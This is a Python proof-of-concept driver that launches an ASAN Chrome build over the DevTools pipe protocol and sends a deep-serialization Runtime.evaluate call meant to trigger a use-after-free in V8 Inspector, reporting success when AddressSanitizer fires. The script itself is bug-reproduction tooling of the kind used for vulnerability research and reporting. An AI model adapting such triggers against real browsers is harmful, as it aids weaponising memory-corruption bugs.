#!/usr/bin/env python3 """ CDP driver for the V8 Inspector deep-serialization UAF. Serves poc.html on an ephemeral localhost port, launches the ASAN Chrome with --remote-debugging-pipe (no websocket library needed), navigates to the POC page, then issues Runtime.evaluate with serializationOptions:{serialization:"deep", additionalParameters:{maxNodeDepth:500}} against window.__x. Usage: python3 cdp_client.py [chrome-path] """ import http.server, json, os, socketserver, subprocess, sys, threading, time CHROME = sys.argv[1] if len(sys.argv) > 1 else \ "/chromium/chromium/src/out/asan/chrome" PROFILE = "/tmp/chrome-poc-profile" HERE = os.path.dirname(os.path.abspath(__file__)) # --remote-debugging-pipe expects fds 3 (in) and 4 (out) in the child. # Reserve fds 3 and 4 *before* opening any other sockets/pipes so nothing # else lands on them. _hold3 = os.open(os.devnull, os.O_RDONLY) _hold4 = os.open(os.devnull, os.O_RDONLY) if _hold3 != 3: os.dup2(_hold3, 3); os.close(_hold3) if _hold4 != 4: os.dup2(_hold4, 4); os.close(_hold4) class _H(http.server.SimpleHTTPRequestHandler): def __init__(self, *a, **kw): super().__init__(*a, directory=HERE, **kw) def log_message(self, *a): pass def end_headers(self): self.send_header("Cache-Control", "no-store") super().end_headers() socketserver.TCPServer.allow_reuse_address = True _httpd = socketserver.TCPServer(("127.0.0.1", 0), _H) PORT = _httpd.server_address[1] threading.Thread(target=_httpd.serve_forever, daemon=True).start() URL = f"http://127.0.0.1:{PORT}/poc.html" print(f"[http] serving {URL}", flush=True) # fd layout for --remote-debugging-pipe: # parent writes -> chrome fd 3 # chrome fd 4 -> parent reads to_chrome_r, to_chrome_w = os.pipe() # both > 4 from_chrome_r, from_chrome_w = os.pipe() # both > 4 # Put the chrome-side ends on fds 3 and 4 so they are inherited there. os.dup2(to_chrome_r, 3); os.close(to_chrome_r) os.dup2(from_chrome_w, 4); os.close(from_chrome_w) env = dict(os.environ) env.setdefault("ASAN_OPTIONS", "detect_odr_violation=0:symbolize=1:handle_abort=1") chrome = subprocess.Popen( [CHROME, "--remote-debugging-pipe", "--headless=new", "--no-sandbox", "--disable-gpu", "--no-first-run", "--no-default-browser-check", "--user-data-dir=" + PROFILE, "about:blank"], pass_fds=(3, 4), stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, ) # Parent no longer needs the chrome-side ends. os.close(3) os.close(4) asan_hit = {"v": False} def pump_stderr(): for raw in iter(chrome.stdout.readline, b""): line = raw.decode(errors="replace").rstrip() print(line, flush=True) if "AddressSanitizer" in line: asan_hit["v"] = True threading.Thread(target=pump_stderr, daemon=True).start() _next_id = [0] _pending = {} _events = [] _lock = threading.Lock() _cv = threading.Condition(_lock) def send(method, params=None, session=None): _next_id[0] += 1 mid = _next_id[0] msg = {"id": mid, "method": method, "params": params or {}} if session: msg["sessionId"] = session data = json.dumps(msg).encode() + b"\x00" os.write(to_chrome_w, data) with _cv: while mid not in _pending: if not _cv.wait(timeout=30): raise RuntimeError(f"timeout waiting for {method}") return _pending.pop(mid) def reader(): buf = b"" while True: try: chunk = os.read(from_chrome_r, 65536) except OSError: break if not chunk: break buf += chunk while b"\x00" in buf: raw, buf = buf.split(b"\x00", 1) if not raw: continue try: msg = json.loads(raw) except Exception: continue with _cv: if "id" in msg: _pending[msg["id"]] = msg else: _events.append(msg) _cv.notify_all() threading.Thread(target=reader, daemon=True).start() def wait_event(method, pred=lambda p: True, timeout=30): deadline = time.time() + timeout with _cv: while True: for i, e in enumerate(_events): if e.get("method") == method and pred(e.get("params", {})): return _events.pop(i) remaining = deadline - time.time() if remaining <= 0: raise RuntimeError(f"timeout waiting for event {method}") _cv.wait(timeout=remaining) try: # Discover the page target. send("Target.setDiscoverTargets", {"discover": True}) targets = send("Target.getTargets")["result"]["targetInfos"] page = next((t for t in targets if t["type"] == "page"), None) if page is None: ev = wait_event("Target.targetCreated", lambda p: p["targetInfo"]["type"] == "page") page = ev["params"]["targetInfo"] att = send("Target.attachToTarget", {"targetId": page["targetId"], "flatten": True}) sid = att["result"]["sessionId"] send("Page.enable", {}, sid) send("Runtime.enable", {}, sid) send("Page.navigate", {"url": URL}, sid) wait_event("Page.loadEventFired", lambda p: True, timeout=30) # Wait until the page script has run. for i in range(100): r = send("Runtime.evaluate", {"expression": "JSON.stringify([location.href,document.title," "typeof window.__x])", "returnByValue": True}, sid) v = r.get("result", {}).get("result", {}).get("value") if i % 10 == 0: print(f"[poll {i}] {v}", flush=True) if v and '"READY"' in v and '"object"' in v: print(f"[ready] {v}", flush=True) break time.sleep(0.2) else: print("[warn] page never became READY", flush=True) print("\n>>> Sending Runtime.evaluate with deep serialization " "(maxNodeDepth=500)…", flush=True) r = send("Runtime.evaluate", { "expression": "window.__x", "serializationOptions": { "serialization": "deep", "additionalParameters": {"maxNodeDepth": 500}, }, }, sid) print(">>> Runtime.evaluate returned:", json.dumps(r)[:500], flush=True) except Exception as e: print(f"[cdp] error: {e}", file=sys.stderr, flush=True) # Give ASAN time to dump. time.sleep(3) try: chrome.terminate() except Exception: pass chrome.wait(timeout=15) sys.exit(0 if asan_hit["v"] else 1)